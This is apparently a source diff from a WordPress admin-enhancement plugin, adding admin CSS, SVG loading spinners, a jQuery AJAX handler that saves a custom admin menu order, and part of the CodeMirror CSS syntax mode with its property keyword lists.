||||
}
|
||||
|
||||
.external-permalink-input-description,
|
||||
.custom-body-class-input-description {
|
||||
margin-top: 4px;
|
||||
}
|
||||
|
||||
/* Utilities >> Multiple User Roles */
|
||||
#adduser .form-field input[type="checkbox"], #createuser .form-field input[type="checkbox"] {
|
||||
width: 1rem;
|
||||
}
|
||||
|
||||
/* Utilities >> Display System Summary */
|
||||
#dashboard_right_now .sub {
|
||||
color: inherit !important;
|
||||
background: none;
|
||||
border-top: none;
|
||||
margin-top: -8px;
|
||||
padding: 0 12px 12px !important;
|
||||
}
|
||||
|
||||
#dashboard_right_now .inside .sub > .system-summary {
|
||||
margin-top: 8px;
|
||||
padding: 8px 0 0 0 !important;
|
||||
border-top: 1px solid #ddd;
|
||||
}
|
||||
|
||||
/* General */
|
||||
.asenha-warning-message {
|
||||
font-weight: 500;
|
||||
color: #d63638;
|
||||
}
|
||||
|
||||
|
||||
|
||||
/* Utilities >> View Admin as Role */
|
||||
#role-view-reset {
|
||||
position: fixed;
|
||||
right: 20px;
|
||||
bottom: 20px;
|
||||
z-index: 999999;
|
||||
box-shadow: rgba(0, 0, 0, 0.19) 0px 10px 20px, rgba(0, 0, 0, 0.23) 0px 6px 6px;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,2 @@
|
||||
/* Styles loaded on all block editor instances (post.php / post-new.php) */
|
||||
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 7.2 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 1.9 KiB |
@@ -0,0 +1,17 @@
|
||||
<!-- By Sam Herbert (@sherb), for everyone. More @ http://goo.gl/7AJzbL -->
|
||||
<svg width="38" height="38" viewBox="0 0 38 38" xmlns="http://www.w3.org/2000/svg" stroke="#3c434a">
|
||||
<g fill="none" fill-rule="evenodd">
|
||||
<g transform="translate(1 1)" stroke-width="2">
|
||||
<circle stroke-opacity=".3" cx="18" cy="18" r="18"/>
|
||||
<path d="M36 18c0-9.94-8.06-18-18-18">
|
||||
<animateTransform
|
||||
attributeName="transform"
|
||||
type="rotate"
|
||||
from="0 18 18"
|
||||
to="360 18 18"
|
||||
dur="1s"
|
||||
repeatCount="indefinite"/>
|
||||
</path>
|
||||
</g>
|
||||
</g>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 697 B |
@@ -0,0 +1 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><path fill="currentColor" d="M12,1A11,11,0,1,0,23,12,11,11,0,0,0,12,1Zm0,19a8,8,0,1,1,8-8A8,8,0,0,1,12,20Z" opacity=".25"/><path fill="currentColor" d="M12,4a8,8,0,0,1,7.89,6.7A1.53,1.53,0,0,0,21.38,12h0a1.5,1.5,0,0,0,1.48-1.75,11,11,0,0,0-21.72,0A1.5,1.5,0,0,0,2.62,12h0a1.53,1.53,0,0,0,1.49-1.3A8,8,0,0,1,12,4Z"><animateTransform attributeName="transform" dur="0.75s" repeatCount="indefinite" type="rotate" values="0 12 12;360 12 12"/></path></svg>
|
||||
|
After Width: | Height: | Size: 533 B |
@@ -0,0 +1,62 @@
|
||||
(function( $ ) {
|
||||
'use strict';
|
||||
|
||||
$(document).ready( function() {
|
||||
var strings = ( typeof amoPageVars !== 'undefined' && amoPageVars.strings ) ? amoPageVars.strings : {};
|
||||
|
||||
// Save changes
|
||||
$('#amo-save-changes').click(function(e) {
|
||||
e.preventDefault();
|
||||
$('.asenha-saving-changes').fadeIn();
|
||||
|
||||
var menu_data = {
|
||||
'action':'save_admin_menu',
|
||||
'nonce': amoPageVars.saveMenuNonce,
|
||||
'custom_menu_order': document.getElementById('custom_menu_order').value,
|
||||
'custom_menu_titles': document.getElementById('custom_menu_titles').value,
|
||||
'custom_menu_hidden': document.getElementById('custom_menu_hidden').value
|
||||
}
|
||||
|
||||
|
||||
|
||||
$.ajax({
|
||||
type: "post",
|
||||
url: ajaxurl,
|
||||
dataType: 'json',
|
||||
data: menu_data,
|
||||
success:function(response) {
|
||||
$('.asenha-saving-changes').hide();
|
||||
|
||||
if ( ! response || response.success !== true ) {
|
||||
if ( strings.saveChangesError ) {
|
||||
window.alert( strings.saveChangesError );
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
|
||||
$('.asenha-changes-saved').fadeIn(400).delay(2500).fadeOut(400);
|
||||
},
|
||||
error:function(jqXHR) {
|
||||
var message = strings.saveChangesError || '';
|
||||
|
||||
$('.asenha-saving-changes').hide();
|
||||
|
||||
if ( jqXHR && jqXHR.responseJSON && jqXHR.responseJSON.data && jqXHR.responseJSON.data.message ) {
|
||||
message = jqXHR.responseJSON.data.message;
|
||||
}
|
||||
|
||||
if ( message ) {
|
||||
window.alert( message );
|
||||
}
|
||||
console.log(jqXHR);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
|
||||
}); // END OF $(document).ready()
|
||||
|
||||
})( jQuery );
|
||||
File diff suppressed because it is too large
Load Diff
+1
File diff suppressed because one or more lines are too long
@@ -0,0 +1,862 @@
|
||||
// CodeMirror, copyright (c) by Marijn Haverbeke and others
|
||||
// Distributed under an MIT license: https://codemirror.net/5/LICENSE
|
||||
|
||||
(function(mod) {
|
||||
if (typeof exports == "object" && typeof module == "object") // CommonJS
|
||||
mod(require("../../lib/codemirror"));
|
||||
else if (typeof define == "function" && define.amd) // AMD
|
||||
define(["../../lib/codemirror"], mod);
|
||||
else // Plain browser env
|
||||
mod(CodeMirror);
|
||||
})(function(CodeMirror) {
|
||||
"use strict";
|
||||
|
||||
CodeMirror.defineMode("css", function(config, parserConfig) {
|
||||
var inline = parserConfig.inline
|
||||
if (!parserConfig.propertyKeywords) parserConfig = CodeMirror.resolveMode("text/css");
|
||||
|
||||
var indentUnit = config.indentUnit,
|
||||
tokenHooks = parserConfig.tokenHooks,
|
||||
documentTypes = parserConfig.documentTypes || {},
|
||||
mediaTypes = parserConfig.mediaTypes || {},
|
||||
mediaFeatures = parserConfig.mediaFeatures || {},
|
||||
mediaValueKeywords = parserConfig.mediaValueKeywords || {},
|
||||
propertyKeywords = parserConfig.propertyKeywords || {},
|
||||
nonStandardPropertyKeywords = parserConfig.nonStandardPropertyKeywords || {},
|
||||
fontProperties = parserConfig.fontProperties || {},
|
||||
counterDescriptors = parserConfig.counterDescriptors || {},
|
||||
colorKeywords = parserConfig.colorKeywords || {},
|
||||
valueKeywords = parserConfig.valueKeywords || {},
|
||||
allowNested = parserConfig.allowNested,
|
||||
lineComment = parserConfig.lineComment,
|
||||
supportsAtComponent = parserConfig.supportsAtComponent === true,
|
||||
highlightNonStandardPropertyKeywords = config.highlightNonStandardPropertyKeywords !== false;
|
||||
|
||||
var type, override;
|
||||
function ret(style, tp) { type = tp; return style; }
|
||||
|
||||
// Tokenizers
|
||||
|
||||
function tokenBase(stream, state) {
|
||||
var ch = stream.next();
|
||||
if (tokenHooks[ch]) {
|
||||
var result = tokenHooks[ch](stream, state);
|
||||
if (result !== false) return result;
|
||||
}
|
||||
if (ch == "@") {
|
||||
stream.eatWhile(/[\w\\\-]/);
|
||||
return ret("def", stream.current());
|
||||
} else if (ch == "=" || (ch == "~" || ch == "|") && stream.eat("=")) {
|
||||
return ret(null, "compare");
|
||||
} else if (ch == "\"" || ch == "'") {
|
||||
state.tokenize = tokenString(ch);
|
||||
return state.tokenize(stream, state);
|
||||
} else if (ch == "#") {
|
||||
stream.eatWhile(/[\w\\\-]/);
|
||||
return ret("atom", "hash");
|
||||
} else if (ch == "!") {
|
||||
stream.match(/^\s*\w*/);
|
||||
return ret("keyword", "important");
|
||||
} else if (/\d/.test(ch) || ch == "." && stream.eat(/\d/)) {
|
||||
stream.eatWhile(/[\w.%]/);
|
||||
return ret("number", "unit");
|
||||
} else if (ch === "-") {
|
||||
if (/[\d.]/.test(stream.peek())) {
|
||||
stream.eatWhile(/[\w.%]/);
|
||||
return ret("number", "unit");
|
||||
} else if (stream.match(/^-[\w\\\-]*/)) {
|
||||
stream.eatWhile(/[\w\\\-]/);
|
||||
if (stream.match(/^\s*:/, false))
|
||||
return ret("variable-2", "variable-definition");
|
||||
return ret("variable-2", "variable");
|
||||
} else if (stream.match(/^\w+-/)) {
|
||||
return ret("meta", "meta");
|
||||
}
|
||||
} else if (/[,+>*\/]/.test(ch)) {
|
||||
return ret(null, "select-op");
|
||||
} else if (ch == "." && stream.match(/^-?[_a-z][_a-z0-9-]*/i)) {
|
||||
return ret("qualifier", "qualifier");
|
||||
} else if (/[:;{}\[\]\(\)]/.test(ch)) {
|
||||
return ret(null, ch);
|
||||
} else if (stream.match(/^[\w-.]+(?=\()/)) {
|
||||
if (/^(url(-prefix)?|domain|regexp)$/i.test(stream.current())) {
|
||||
state.tokenize = tokenParenthesized;
|
||||
}
|
||||
return ret("variable callee", "variable");
|
||||
} else if (/[\w\\\-]/.test(ch)) {
|
||||
stream.eatWhile(/[\w\\\-]/);
|
||||
return ret("property", "word");
|
||||
} else {
|
||||
return ret(null, null);
|
||||
}
|
||||
}
|
||||
|
||||
function tokenString(quote) {
|
||||
return function(stream, state) {
|
||||
var escaped = false, ch;
|
||||
while ((ch = stream.next()) != null) {
|
||||
if (ch == quote && !escaped) {
|
||||
if (quote == ")") stream.backUp(1);
|
||||
break;
|
||||
}
|
||||
escaped = !escaped && ch == "\\";
|
||||
}
|
||||
if (ch == quote || !escaped && quote != ")") state.tokenize = null;
|
||||
return ret("string", "string");
|
||||
};
|
||||
}
|
||||
|
||||
function tokenParenthesized(stream, state) {
|
||||
stream.next(); // Must be '('
|
||||
if (!stream.match(/^\s*[\"\')]/, false))
|
||||
state.tokenize = tokenString(")");
|
||||
else
|
||||
state.tokenize = null;
|
||||
return ret(null, "(");
|
||||
}
|
||||
|
||||
// Context management
|
||||
|
||||
function Context(type, indent, prev) {
|
||||
this.type = type;
|
||||
this.indent = indent;
|
||||
this.prev = prev;
|
||||
}
|
||||
|
||||
function pushContext(state, stream, type, indent) {
|
||||
state.context = new Context(type, stream.indentation() + (indent === false ? 0 : indentUnit), state.context);
|
||||
return type;
|
||||
}
|
||||
|
||||
function popContext(state) {
|
||||
if (state.context.prev)
|
||||
state.context = state.context.prev;
|
||||
return state.context.type;
|
||||
}
|
||||
|
||||
function pass(type, stream, state) {
|
||||
return states[state.context.type](type, stream, state);
|
||||
}
|
||||
function popAndPass(type, stream, state, n) {
|
||||
for (var i = n || 1; i > 0; i--)
|
||||
state.context = state.context.prev;
|
||||
return pass(type, stream, state);
|
||||
}
|
||||
|
||||
// Parser
|
||||
|
||||
function wordAsValue(stream) {
|
||||
var word = stream.current().toLowerCase();
|
||||
if (valueKeywords.hasOwnProperty(word))
|
||||
override = "atom";
|
||||
else if (colorKeywords.hasOwnProperty(word))
|
||||
override = "keyword";
|
||||
else
|
||||
override = "variable";
|
||||
}
|
||||
|
||||
var states = {};
|
||||
|
||||
states.top = function(type, stream, state) {
|
||||
if (type == "{") {
|
||||
return pushContext(state, stream, "block");
|
||||
} else if (type == "}" && state.context.prev) {
|
||||
return popContext(state);
|
||||
} else if (supportsAtComponent && /@component/i.test(type)) {
|
||||
return pushContext(state, stream, "atComponentBlock");
|
||||
} else if (/^@(-moz-)?document$/i.test(type)) {
|
||||
return pushContext(state, stream, "documentTypes");
|
||||
} else if (/^@(media|supports|(-moz-)?document|import)$/i.test(type)) {
|
||||
return pushContext(state, stream, "atBlock");
|
||||
} else if (/^@(font-face|counter-style)/i.test(type)) {
|
||||
state.stateArg = type;
|
||||
return "restricted_atBlock_before";
|
||||
} else if (/^@(-(moz|ms|o|webkit)-)?keyframes$/i.test(type)) {
|
||||
return "keyframes";
|
||||
} else if (type && type.charAt(0) == "@") {
|
||||
return pushContext(state, stream, "at");
|
||||
} else if (type == "hash") {
|
||||
override = "builtin";
|
||||
} else if (type == "word") {
|
||||
override = "tag";
|
||||
} else if (type == "variable-definition") {
|
||||
return "maybeprop";
|
||||
} else if (type == "interpolation") {
|
||||
return pushContext(state, stream, "interpolation");
|
||||
} else if (type == ":") {
|
||||
return "pseudo";
|
||||
} else if (allowNested && type == "(") {
|
||||
return pushContext(state, stream, "parens");
|
||||
}
|
||||
return state.context.type;
|
||||
};
|
||||
|
||||
states.block = function(type, stream, state) {
|
||||
if (type == "word") {
|
||||
var word = stream.current().toLowerCase();
|
||||
if (propertyKeywords.hasOwnProperty(word)) {
|
||||
override = "property";
|
||||
return "maybeprop";
|
||||
} else if (nonStandardPropertyKeywords.hasOwnProperty(word)) {
|
||||
override = highlightNonStandardPropertyKeywords ? "string-2" : "property";
|
||||
return "maybeprop";
|
||||
} else if (allowNested) {
|
||||
override = stream.match(/^\s*:(?:\s|$)/, false) ? "property" : "tag";
|
||||
return "block";
|
||||
} else {
|
||||
override += " error";
|
||||
return "maybeprop";
|
||||
}
|
||||
} else if (type == "meta") {
|
||||
return "block";
|
||||
} else if (!allowNested && (type == "hash" || type == "qualifier")) {
|
||||
override = "error";
|
||||
return "block";
|
||||
} else {
|
||||
return states.top(type, stream, state);
|
||||
}
|
||||
};
|
||||
|
||||
states.maybeprop = function(type, stream, state) {
|
||||
if (type == ":") return pushContext(state, stream, "prop");
|
||||
return pass(type, stream, state);
|
||||
};
|
||||
|
||||
states.prop = function(type, stream, state) {
|
||||
if (type == ";") return popContext(state);
|
||||
if (type == "{" && allowNested) return pushContext(state, stream, "propBlock");
|
||||
if (type == "}" || type == "{") return popAndPass(type, stream, state);
|
||||
if (type == "(") return pushContext(state, stream, "parens");
|
||||
|
||||
if (type == "hash" && !/^#([0-9a-fA-F]{3,4}|[0-9a-fA-F]{6}|[0-9a-fA-F]{8})$/.test(stream.current())) {
|
||||
override += " error";
|
||||
} else if (type == "word") {
|
||||
wordAsValue(stream);
|
||||
} else if (type == "interpolation") {
|
||||
return pushContext(state, stream, "interpolation");
|
||||
}
|
||||
return "prop";
|
||||
};
|
||||
|
||||
states.propBlock = function(type, _stream, state) {
|
||||
if (type == "}") return popContext(state);
|
||||
if (type == "word") { override = "property"; return "maybeprop"; }
|
||||
return state.context.type;
|
||||
};
|
||||
|
||||
states.parens = function(type, stream, state) {
|
||||
if (type == "{" || type == "}") return popAndPass(type, stream, state);
|
||||
if (type == ")") return popContext(state);
|
||||
if (type == "(") return pushContext(state, stream, "parens");
|
||||
if (type == "interpolation") return pushContext(state, stream, "interpolation");
|
||||
if (type == "word") wordAsValue(stream);
|
||||
return "parens";
|
||||
};
|
||||
|
||||
states.pseudo = function(type, stream, state) {
|
||||
if (type == "meta") return "pseudo";
|
||||
|
||||
if (type == "word") {
|
||||
override = "variable-3";
|
||||
return state.context.type;
|
||||
}
|
||||
return pass(type, stream, state);
|
||||
};
|
||||
|
||||
states.documentTypes = function(type, stream, state) {
|
||||
if (type == "word" && documentTypes.hasOwnProperty(stream.current())) {
|
||||
override = "tag";
|
||||
return state.context.type;
|
||||
} else {
|
||||
return states.atBlock(type, stream, state);
|
||||
}
|
||||
};
|
||||
|
||||
states.atBlock = function(type, stream, state) {
|
||||
if (type == "(") return pushContext(state, stream, "atBlock_parens");
|
||||
if (type == "}" || type == ";") return popAndPass(type, stream, state);
|
||||
if (type == "{") return popContext(state) && pushContext(state, stream, allowNested ? "block" : "top");
|
||||
|
||||
if (type == "interpolation") return pushContext(state, stream, "interpolation");
|
||||
|
||||
if (type == "word") {
|
||||
var word = stream.current().toLowerCase();
|
||||
if (word == "only" || word == "not" || word == "and" || word == "or")
|
||||
override = "keyword";
|
||||
else if (mediaTypes.hasOwnProperty(word))
|
||||
override = "attribute";
|
||||
else if (mediaFeatures.hasOwnProperty(word))
|
||||
override = "property";
|
||||
else if (mediaValueKeywords.hasOwnProperty(word))
|
||||
override = "keyword";
|
||||
else if (propertyKeywords.hasOwnProperty(word))
|
||||
override = "property";
|
||||
else if (nonStandardPropertyKeywords.hasOwnProperty(word))
|
||||
override = highlightNonStandardPropertyKeywords ? "string-2" : "property";
|
||||
else if (valueKeywords.hasOwnProperty(word))
|
||||
override = "atom";
|
||||
else if (colorKeywords.hasOwnProperty(word))
|
||||
override = "keyword";
|
||||
else
|
||||
override = "error";
|
||||
}
|
||||
return state.context.type;
|
||||
};
|
||||
|
||||
states.atComponentBlock = function(type, stream, state) {
|
||||
if (type == "}")
|
||||
return popAndPass(type, stream, state);
|
||||
if (type == "{")
|
||||
return popContext(state) && pushContext(state, stream, allowNested ? "block" : "top", false);
|
||||
if (type == "word")
|
||||
override = "error";
|
||||
return state.context.type;
|
||||
};
|
||||
|
||||
states.atBlock_parens = function(type, stream, state) {
|
||||
if (type == ")") return popContext(state);
|
||||
if (type == "{" || type == "}") return popAndPass(type, stream, state, 2);
|
||||
return states.atBlock(type, stream, state);
|
||||
};
|
||||
|
||||
states.restricted_atBlock_before = function(type, stream, state) {
|
||||
if (type == "{")
|
||||
return pushContext(state, stream, "restricted_atBlock");
|
||||
if (type == "word" && state.stateArg == "@counter-style") {
|
||||
override = "variable";
|
||||
return "restricted_atBlock_before";
|
||||
}
|
||||
return pass(type, stream, state);
|
||||
};
|
||||
|
||||
states.restricted_atBlock = function(type, stream, state) {
|
||||
if (type == "}") {
|
||||
state.stateArg = null;
|
||||
return popContext(state);
|
||||
}
|
||||
if (type == "word") {
|
||||
if ((state.stateArg == "@font-face" && !fontProperties.hasOwnProperty(stream.current().toLowerCase())) ||
|
||||
(state.stateArg == "@counter-style" && !counterDescriptors.hasOwnProperty(stream.current().toLowerCase())))
|
||||
override = "error";
|
||||
else
|
||||
override = "property";
|
||||
return "maybeprop";
|
||||
}
|
||||
return "restricted_atBlock";
|
||||
};
|
||||
|
||||
states.keyframes = function(type, stream, state) {
|
||||
if (type == "word") { override = "variable"; return "keyframes"; }
|
||||
if (type == "{") return pushContext(state, stream, "top");
|
||||
return pass(type, stream, state);
|
||||
};
|
||||
|
||||
states.at = function(type, stream, state) {
|
||||
if (type == ";") return popContext(state);
|
||||
if (type == "{" || type == "}") return popAndPass(type, stream, state);
|
||||
if (type == "word") override = "tag";
|
||||
else if (type == "hash") override = "builtin";
|
||||
return "at";
|
||||
};
|
||||
|
||||
states.interpolation = function(type, stream, state) {
|
||||
if (type == "}") return popContext(state);
|
||||
if (type == "{" || type == ";") return popAndPass(type, stream, state);
|
||||
if (type == "word") override = "variable";
|
||||
else if (type != "variable" && type != "(" && type != ")") override = "error";
|
||||
return "interpolation";
|
||||
};
|
||||
|
||||
return {
|
||||
startState: function(base) {
|
||||
return {tokenize: null,
|
||||
state: inline ? "block" : "top",
|
||||
stateArg: null,
|
||||
context: new Context(inline ? "block" : "top", base || 0, null)};
|
||||
},
|
||||
|
||||
token: function(stream, state) {
|
||||
if (!state.tokenize && stream.eatSpace()) return null;
|
||||
var style = (state.tokenize || tokenBase)(stream, state);
|
||||
if (style && typeof style == "object") {
|
||||
type = style[1];
|
||||
style = style[0];
|
||||
}
|
||||
override = style;
|
||||
if (type != "comment")
|
||||
state.state = states[state.state](type, stream, state);
|
||||
return override;
|
||||
},
|
||||
|
||||
indent: function(state, textAfter) {
|
||||
var cx = state.context, ch = textAfter && textAfter.charAt(0);
|
||||
var indent = cx.indent;
|
||||
if (cx.type == "prop" && (ch == "}" || ch == ")")) cx = cx.prev;
|
||||
if (cx.prev) {
|
||||
if (ch == "}" && (cx.type == "block" || cx.type == "top" ||
|
||||
cx.type == "interpolation" || cx.type == "restricted_atBlock")) {
|
||||
// Resume indentation from parent context.
|
||||
cx = cx.prev;
|
||||
indent = cx.indent;
|
||||
} else if (ch == ")" && (cx.type == "parens" || cx.type == "atBlock_parens") ||
|
||||
ch == "{" && (cx.type == "at" || cx.type == "atBlock")) {
|
||||
// Dedent relative to current context.
|
||||
indent = Math.max(0, cx.indent - indentUnit);
|
||||
}
|
||||
}
|
||||
return indent;
|
||||
},
|
||||
|
||||
electricChars: "}",
|
||||
blockCommentStart: "/*",
|
||||
blockCommentEnd: "*/",
|
||||
blockCommentContinue: " * ",
|
||||
lineComment: lineComment,
|
||||
fold: "brace"
|
||||
};
|
||||
});
|
||||
|
||||
function keySet(array) {
|
||||
var keys = {};
|
||||
for (var i = 0; i < array.length; ++i) {
|
||||
keys[array[i].toLowerCase()] = true;
|
||||
}
|
||||
return keys;
|
||||
}
|
||||
|
||||
var documentTypes_ = [
|
||||
"domain", "regexp", "url", "url-prefix"
|
||||
], documentTypes = keySet(documentTypes_);
|
||||
|
||||
var mediaTypes_ = [
|
||||
"all", "aural", "braille", "handheld", "print", "projection", "screen",
|
||||
"tty", "tv", "embossed"
|
||||
], mediaTypes = keySet(mediaTypes_);
|
||||
|
||||
var mediaFeatures_ = [
|
||||
"width", "min-width", "max-width", "height", "min-height", "max-height",
|
||||
"device-width", "min-device-width", "max-device-width", "device-height",
|
||||
"min-device-height", "max-device-height", "aspect-ratio",
|
||||
"min-aspect-ratio", "max-aspect-ratio", "device-aspect-ratio",
|
||||
"min-device-aspect-ratio", "max-device-aspect-ratio", "color", "min-color",
|
||||
"max-color", "color-index", "min-color-index", "max-color-index",
|
||||
"monochrome", "min-monochrome", "max-monochrome", "resolution",
|
||||
"min-resolution", "max-resolution", "scan", "grid", "orientation",
|
||||
"device-pixel-ratio", "min-device-pixel-ratio", "max-device-pixel-ratio",
|
||||
"pointer", "any-pointer", "hover", "any-hover", "prefers-color-scheme",
|
||||
"dynamic-range", "video-dynamic-range"
|
||||
], mediaFeatures = keySet(mediaFeatures_);
|
||||
|
||||
var mediaValueKeywords_ = [
|
||||
"landscape", "portrait", "none", "coarse", "fine", "on-demand", "hover",
|
||||
"interlace", "progressive",
|
||||
"dark", "light",
|
||||
"standard", "high"
|
||||
], mediaValueKeywords = keySet(mediaValueKeywords_);
|
||||
|
||||
var propertyKeywords_ = [
|
||||
"align-content", "align-items", "align-self", "alignment-adjust",
|
||||
"alignment-baseline", "all", "anchor-point", "animation", "animation-delay",
|
||||
"animation-direction", "animation-duration", "animation-fill-mode",
|
||||
"animation-iteration-count", "animation-name", "animation-play-state",
|
||||
"animation-timing-function", "appearance", "azimuth", "backdrop-filter",
|
||||
"backface-visibility", "background", "background-attachment",
|
||||
"background-blend-mode", "background-clip", "background-color",
|
||||
"background-image", "background-origin", "background-position",
|
||||
"background-position-x", "background-position-y", "background-repeat",
|
||||
"background-size", "baseline-shift", "binding", "bleed", "block-size",
|
||||
"bookmark-label", "bookmark-level", "bookmark-state", "bookmark-target",
|
||||
"border", "border-bottom", "border-bottom-color", "border-bottom-left-radius",
|
||||
"border-bottom-right-radius", "border-bottom-style", "border-bottom-width",
|
||||
"border-collapse", "border-color", "border-image", "border-image-outset",
|
||||
"border-image-repeat", "border-image-slice", "border-image-source",
|
||||
"border-image-width", "border-left", "border-left-color", "border-left-style",
|
||||
"border-left-width", "border-radius", "border-right", "border-right-color",
|
||||
"border-right-style", "border-right-width", "border-spacing", "border-style",
|
||||
"border-top", "border-top-color", "border-top-left-radius",
|
||||
"border-top-right-radius", "border-top-style", "border-top-width",
|
||||
"border-width", "bottom", "box-decoration-break", "box-shadow", "box-sizing",
|
||||
"break-after", "break-before", "break-inside", "caption-side", "caret-color",
|
||||
"clear", "clip", "color", "color-profile", "column-count", "column-fill",
|
||||
"column-gap", "column-rule", "column-rule-color", "column-rule-style",
|
||||
"column-rule-width", "column-span", "column-width", "columns", "contain",
|
||||
"content", "counter-increment", "counter-reset", "crop", "cue", "cue-after",
|
||||
"cue-before", "cursor", "direction", "display", "dominant-baseline",
|
||||
"drop-initial-after-adjust", "drop-initial-after-align",
|
||||
"drop-initial-before-adjust", "drop-initial-before-align", "drop-initial-size",
|
||||
"drop-initial-value", "elevation", "empty-cells", "fit", "fit-content", "fit-position",
|
||||
"flex", "flex-basis", "flex-direction", "flex-flow", "flex-grow",
|
||||
"flex-shrink", "flex-wrap", "float", "float-offset", "flow-from", "flow-into",
|
||||
"font", "font-family", "font-feature-settings", "font-kerning",
|
||||
"font-language-override", "font-optical-sizing", "font-size",
|
||||
"font-size-adjust", "font-stretch", "font-style", "font-synthesis",
|
||||
"font-variant", "font-variant-alternates", "font-variant-caps",
|
||||
"font-variant-east-asian", "font-variant-ligatures", "font-variant-numeric",
|
||||
"font-variant-position", "font-variation-settings", "font-weight", "gap",
|
||||
"grid", "grid-area", "grid-auto-columns", "grid-auto-flow", "grid-auto-rows",
|
||||
"grid-column", "grid-column-end", "grid-column-gap", "grid-column-start",
|
||||
"grid-gap", "grid-row", "grid-row-end", "grid-row-gap", "grid-row-start",
|
||||
"grid-template", "grid-template-areas", "grid-template-columns",
|
||||
"grid-template-rows", "hanging-punctuation", "height", "hyphens", "icon",
|
||||
"image-orientation", "image-rendering", "image-resolution", "inline-box-align",
|
||||
"inset", "inset-block", "inset-block-end", "inset-block-start", "inset-inline",
|
||||
"inset-inline-end", "inset-inline-start", "isolation", "justify-content",
|
||||
"justify-items", "justify-self", "left", "letter-spacing", "line-break",
|
||||
"line-height", "line-height-step", "line-stacking", "line-stacking-ruby",
|
||||
"line-stacking-shift", "line-stacking-strategy", "list-style",
|
||||
"list-style-image", "list-style-position", "list-style-type", "margin",
|
||||
"margin-bottom", "margin-left", "margin-right", "margin-top", "marks",
|
||||
"marquee-direction", "marquee-loop", "marquee-play-count", "marquee-speed",
|
||||
"marquee-style", "mask-clip", "mask-composite", "mask-image", "mask-mode",
|
||||
"mask-origin", "mask-position", "mask-repeat", "mask-size","mask-type",
|
||||
"max-block-size", "max-height", "max-inline-size",
|
||||
"max-width", "min-block-size", "min-height", "min-inline-size", "min-width",
|
||||
"mix-blend-mode", "move-to", "nav-down", "nav-index", "nav-left", "nav-right",
|
||||
"nav-up", "object-fit", "object-position", "offset", "offset-anchor",
|
||||
"offset-distance", "offset-path", "offset-position", "offset-rotate",
|
||||
"opacity", "order", "orphans", "outline", "outline-color", "outline-offset",
|
||||
"outline-style", "outline-width", "overflow", "overflow-style",
|
||||
"overflow-wrap", "overflow-x", "overflow-y", "padding", "padding-bottom",
|
||||
"padding-left", "padding-right", "padding-top", "page", "page-break-after",
|
||||
"page-break-before", "page-break-inside", "page-policy", "pause",
|
||||
"pause-after", "pause-before", "perspective", "perspective-origin", "pitch",
|
||||
"pitch-range", "place-content", "place-items", "place-self", "play-during",
|
||||
"position", "presentation-level", "punctuation-trim", "quotes",
|
||||
"region-break-after", "region-break-before", "region-break-inside",
|
||||
"region-fragment", "rendering-intent", "resize", "rest", "rest-after",
|
||||
"rest-before", "richness", "right", "rotate", "rotation", "rotation-point",
|
||||
"row-gap", "ruby-align", "ruby-overhang", "ruby-position", "ruby-span",
|
||||
"scale", "scroll-behavior", "scroll-margin", "scroll-margin-block",
|
||||
"scroll-margin-block-end", "scroll-margin-block-start", "scroll-margin-bottom",
|
||||
"scroll-margin-inline", "scroll-margin-inline-end",
|
||||
"scroll-margin-inline-start", "scroll-margin-left", "scroll-margin-right",
|
||||
"scroll-margin-top", "scroll-padding", "scroll-padding-block",
|
||||
"scroll-padding-block-end", "scroll-padding-block-start",
|
||||
"scroll-padding-bottom", "scroll-padding-inline", "scroll-padding-inline-end",
|
||||
"scroll-padding-inline-start", "scroll-padding-left", "scroll-padding-right",
|
||||
"scroll-padding-top", "scroll-snap-align", "scroll-snap-type",
|
||||
"shape-image-threshold", "shape-inside", "shape-margin", "shape-outside",
|
||||
"size", "speak", "speak-as", "speak-header", "speak-numeral",
|
||||
"speak-punctuation", "speech-rate", "stress", "string-set", "tab-size",
|
||||
"table-layout", "target", "target-name", "target-new", "target-position",
|
||||
"text-align", "text-align-last", "text-combine-upright", "text-decoration",
|
||||
"text-decoration-color", "text-decoration-line", "text-decoration-skip",
|
||||
"text-decoration-skip-ink", "text-decoration-style", "text-emphasis",
|
||||
"text-emphasis-color", "text-emphasis-position", "text-emphasis-style",
|
||||
"text-height", "text-indent", "text-justify", "text-orientation",
|
||||
"text-outline", "text-overflow", "text-rendering", "text-shadow",
|
||||
"text-size-adjust", "text-space-collapse", "text-transform",
|
||||
"text-underline-position", "text-wrap", "top", "touch-action", "transform", "transform-origin",
|
||||
"transform-style", "transition", "transition-delay", "transition-duration",
|
||||
"transition-property", "transition-timing-function", "translate",
|
||||
"unicode-bidi", "user-select", "vertical-align", "visibility", "voice-balance",
|
||||
"voice-duration", "voice-family", "voice-pitch", "voice-range", "voice-rate",
|
||||
"voice-stress", "voice-volume", "volume", "white-space", "widows", "width",
|
||||
"will-change", "word-break", "word-spacing", "word-wrap", "writing-mode", "z-index",
|
||||
// SVG-specific
|
||||
"clip-path", "clip-rule", "mask", "enable-background", "filter", "flood-color",
|
||||
"flood-opacity", "lighting-color", "stop-color", "stop-opacity", "pointer-events",
|
||||
"color-interpolation", "color-interpolation-filters",
|
||||
"color-rendering", "fill", "fill-opacity", "fill-rule", "image-rendering",
|
||||
"marker", "marker-end", "marker-mid", "marker-start", "paint-order", "shape-rendering", "stroke",
|
||||
"stroke-dasharray", "stroke-dashoffset", "stroke-linecap", "stroke-linejoin",
|
||||
"stroke-miterlimit", "stroke-opacity", "stroke-width", "text-rendering",
|
||||
"baseline-shift", "dominant-baseline", "glyph-orientation-horizontal",
|
||||
"glyph-orientation-vertical", "text-anchor", "writing-mode",
|
||||
], propertyKeywords = keySet(propertyKeywords_);
|
||||
|
||||
var nonStandardPropertyKeywords_ = [
|
||||
"accent-color", "aspect-ratio", "border-block", "border-block-color", "border-block-end",
|
||||
"border-block-end-color", "border-block-end-style", "border-block-end-width",
|
||||
"border-block-start", "border-block-start-color", "border-block-start-style",
|
||||
"border-block-start-width", "border-block-style", "border-block-width",
|
||||
"border-inline", "border-inline-color", "border-inline-end",
|
||||
"border-inline-end-color", "border-inline-end-style",
|
||||
"border-inline-end-width", "border-inline-start", "border-inline-start-color",
|
||||
"border-inline-start-style", "border-inline-start-width",
|
